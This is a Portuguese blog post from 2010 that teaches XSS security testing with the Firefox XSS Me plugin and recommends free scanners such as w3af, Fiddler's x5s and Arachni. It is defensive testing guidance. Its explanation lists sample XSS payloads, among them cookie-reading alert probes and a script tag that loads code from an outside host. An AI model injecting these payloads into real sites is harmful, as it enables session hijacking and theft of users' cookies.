Pesquisar este blog

terça-feira, 28 de dezembro de 2010

Testes de Segurança de XSS com Plugin XSS Me e outras ferramentas livres.

Cross-Site Scripting (XSS)

Introdução

Os Sites de hoje estão mais complexos do que nunca, com muito conteúdo dinâmico tornando a experiência do usuário mais agradável. O conteúdo dinâmico é alcançado através da utilização de aplicações web que podem proporcionar uma saída diferente para um usuário de acordo com suas configurações e necessidades. Sites dinâmicos sofrem com a ameaça de que sites estáticos não, chamado de "Cross Site Scripting" (ou XSS). Vou mostrar como fazer teste de segurança de XSS, para verificar se o site está vulnerável a essa ameaça, para isso vamos utiliza o Firefox e o Plugin chamado de XSS Me, as ferramentas utilizadas são totalmente livre.

O que é Cross Site Scripting?


O XSS, ou Cross Site Scripting é um método de ataque onde um site não filtra suficientemente os parâmetros que recebe dos browsers. Os dados são geralmente reunidos sob a forma de um link que contém conteúdo malicioso dentro dela. O usuário irá clicar provável nesse link de outro site, mensagem instantânea, ou simplesmente ler um conteúdo da web ou mensagem de e-mail. Normalmente, o atacante irá codificar a parte malicioso do link para o site em HEX (ou outros métodos de codificação) para camuflar do usuário quando clicar. Depois que os dados são recolhidos pelo aplicativo web, ele cria uma página de saída para o usuário contendo os dados maliciosos que foi originalmente enviada a ele, mas de uma forma para fazê-lo aparecer como conteúdo válido do site. Muitos programas populares no livro de visitas e fórum de permitir que os usuários enviem mensagens com HTML e JavaScript embutidos nelas. Se, por exemplo, eu estava logado como "João" e ler uma mensagem de "Joe", que continha JavaScript malicioso nele, então pode ser possível para "Joe" para seqüestrar a minha sessão, apenas abrindo o Link.

Exemplo Local:
<script >alert(document.cookie)</script>
<IMG SRC=j&#X41vascript:alert('test2')>
<body onload=alert('test1')>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

Exemplo Remoto:

<A HREF="http://reinaldorossetti.blogspot.com/">XSS</A>
<img src="http://www.pcinside.org/wp-content/uploads/2011/08/hacker-inside-300x240.jpg">
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

As Falhas XSS pode causar sérios danos a uma aplicação web. Detectando vulnerabilidades XSS no início do processo de desenvolvimento da Aplicação Web ou do Site Dinâmico vai ajudar a proteger uma aplicação web de falhas desnecessárias. XSS-Me é um Plugin para testes de segurança, usado para testar as vulnerabilidades XSS.



Figura 2 – Depois de Instalado, abra a aplicação ou site de deseja usar, em seguida vá em “Ferramentas/XSS ME/Open XSS Me Sidebar”.



Figura 3 – Na barra lateral verá as Opções de Teste, selecione as opções e click no botão Execute, se deseja testar tudo click no botão “Test all forms with all attacks”.



Figura 4 – Depois de Realizar os testes aparecerá uma página com os resultados, temos 0 falhas (Failures) na aplicação, não apresentou erro na aplicação, em compensação apresentou 234 avisos (Warnings), e 234 passaram (Passes) ou 0 falhas.


Como faço para interpretar os resultados XSS-Me?
    
·        XSS-Me tem três tipos de resultado:

Falhas, o número de testes que certamente resultou na detecção que refletiu XSS.
Avisos, o número de testes que pode ter resultado na detecção de cross-site scripting (ou seja, não alterar o objeto DOM do Firefox, conforme especificado no JavaScript, mas pode resultar em um ataque bem sucedido em um navegador diferente.
Passados, o número de testes que não resultou na detecção para refletir XSS.


Outras ferramentas livres boas:


1. W3af Web Application Attack and Audit Framework.


Você pode criar Profile dos testes que deseja, para Web siga sempre o OWASP TOP 10.
fonte: http://w3af.org/

Comando para instalar: sudo apt-get install w3af


2. X5s é um plugin para Fiddler, fiddler é web debugging proxy para windows, o fiddler é bem legal pra analisar as requisições e também faz alguns testes de segurança.


fonte: http://xss.codeplex.com/ e http://www.telerik.com/fiddler

3. Outra ferramenta que considero muito boa é o arachni-scanner, tem para Linux, MAC e Windows. O mesmo possui uma Interface Web e outra via linha de comando. Usando ele em alguns sites externos ele não reconheci bem o servidor, acho que o servidor tem que ser visível para ele, alguns ocultam as configurações.




Fonte: http://www.arachni-scanner.com/
Instalação: https://github.com/Arachni/arachni/wiki/Installation

Você pode usar várias ferramentas livres para começar a fazer seus testes de segurança, geralmente as ferramentas tem seu ponto forte e fraco, mas são uma ótima solução sem custos, necessário somente conhecimento para seu manuseio. Comece hoje a fazer seus testes de segurança, os mesmo são de alta importância para o sucesso da empresa!


Links:
Artigo bom sobre XSS:
Site do Fabricante:
Exemplo de Uma Aplicação com vulnerabilidades:
Download da Aplicação:
Mostra Exemplos de XSS Script:

Nenhum comentário:

Postar um comentário